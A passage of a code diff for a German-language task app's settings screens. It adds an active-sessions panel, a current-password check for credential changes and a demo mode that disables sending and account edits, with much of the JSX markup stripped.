    + {sessions.map((s) => { + const device = describeDevice(s.userAgent); + const Icon = device.mobile ? Smartphone : Monitor; + return ( +
  • + +
    +

    + {device.label} + {s.current && Dieses Gerät} +

    +

    + {[formatLastUsed(s.lastUsedAt), s.ip].filter(Boolean).join(' · ')} +

    +
    + {!s.current && ( + + )} +
  • + ); + })} +
+ ); +} diff --git a/frontend/src/features/settings/UserSettingsView.tsx b/frontend/src/features/settings/UserSettingsView.tsx index 8b80852..22ae1a9 100644 --- a/frontend/src/features/settings/UserSettingsView.tsx +++ b/frontend/src/features/settings/UserSettingsView.tsx @@ -29,6 +29,7 @@ import { UserAvatar, resizeImageToDataUrl } from '../../components/UserAvatar'; import { LegalLinks } from '../../components/LegalLinks'; import { AboutModal } from '../../components/AboutModal'; import { ImportCard } from './ImportCard'; +import { SessionsPanel } from './SessionsPanel'; import { FormSheet } from '../../components/FormSheet'; interface UserSettingsViewProps { @@ -96,8 +97,16 @@ export const UserSettingsView: React.FC = ({ } }; const [showAbout, setShowAbout] = useState(false); + // The public demo sends nothing and keeps the shared accounts intact (FLAW-33) + const [demoMode, setDemoMode] = useState(false); useEffect(() => { - api.getAuthStatus().then((st) => setLegal(st.legal)).catch(() => {}); + api + .getAuthStatus() + .then((st) => { + setLegal(st.legal); + setDemoMode(Boolean(st.demoMode)); + }) + .catch(() => {}); }, []); // --- Custom Theme Editor State --- @@ -188,6 +197,7 @@ export const UserSettingsView: React.FC = ({ const [email, setEmail] = useState(currentUser.email || ''); const [avatarUrl, setAvatarUrl] = useState(currentUser.avatarUrl || ''); const [newPassword, setNewPassword] = useState(''); + const [currentPassword, setCurrentPassword] = useState(''); const [profileMsg, setProfileMsg] = useState<{ type: 'ok' | 'err'; text: string } | null>(null); const [savingProfile, setSavingProfile] = useState(false); const [revokingSessions, setRevokingSessions] = useState(false); @@ -253,6 +263,10 @@ export const UserSettingsView: React.FC = ({ triggerHaptic(10); }; + // Changing the password or the login address needs the current password (FLAW-30) + const needsCurrentPassword = + newPassword.trim() !== '' || email.trim().toLowerCase() !== (currentUser.email || '').toLowerCase(); + // --- Handlers: Profile --- const handleSaveProfile = async (e: React.FormEvent) => { e.preventDefault(); @@ -273,9 +287,11 @@ export const UserSettingsView: React.FC = ({ // Not trimmed: login compares the password exactly as typed patch.password = newPassword; } + if (needsCurrentPassword) patch.currentPassword = currentPassword; const updated = await api.updateSettings(patch); onUserUpdated(updated); setNewPassword(''); + setCurrentPassword(''); setProfileMsg({ type: 'ok', text: 'Profil und Anmeldedaten erfolgreich gespeichert.' }); } catch (err: any) { setProfileMsg({ type: 'err', text: err.message || 'Fehler beim Speichern' }); @@ -620,7 +636,9 @@ export const UserSettingsView: React.FC = ({ value={email} onChange={(e) => setEmail(e.target.value)} required - className="w-full h-9 px-3 input-field" + disabled={demoMode} + title={demoMode ? 'In der Demo deaktiviert' : undefined} + className="w-full h-9 px-3 input-field disabled:opacity-60" />
@@ -633,11 +651,29 @@ export const UserSettingsView: React.FC = ({ type="password" value={newPassword} onChange={(e) => setNewPassword(e.target.value)} - placeholder="Mindestens 8 Zeichen" - className="w-full h-9 px-3 input-field" + placeholder={demoMode ? 'In der Demo deaktiviert' : 'Mindestens 8 Zeichen'} + autoComplete="new-password" + disabled={demoMode} + className="w-full h-9 px-3 input-field disabled:opacity-60" /> + {needsCurrentPassword && ( +
+ + setCurrentPassword(e.target.value)} + required + autoComplete="current-password" + className="w-full h-9 px-3 input-field" + /> +
+ )} +
@@ -709,7 +747,8 @@ export const UserSettingsView: React.FC = ({
+ {demoMode && ( +
+ + In der Demo deaktiviert: Alarme und Tests werden nicht verschickt. +
+ )} + {alarmMsg && (
= ({ @@ -999,8 +1046,8 @@ export const TriageDeck: React.FC = ({ Auf welche Liste soll dieser Punkt gesetzt werden?

- {lists.length > 0 ? ( - lists.map((lst) => ( + {writableLists.length > 0 ? ( + writableLists.map((lst) => (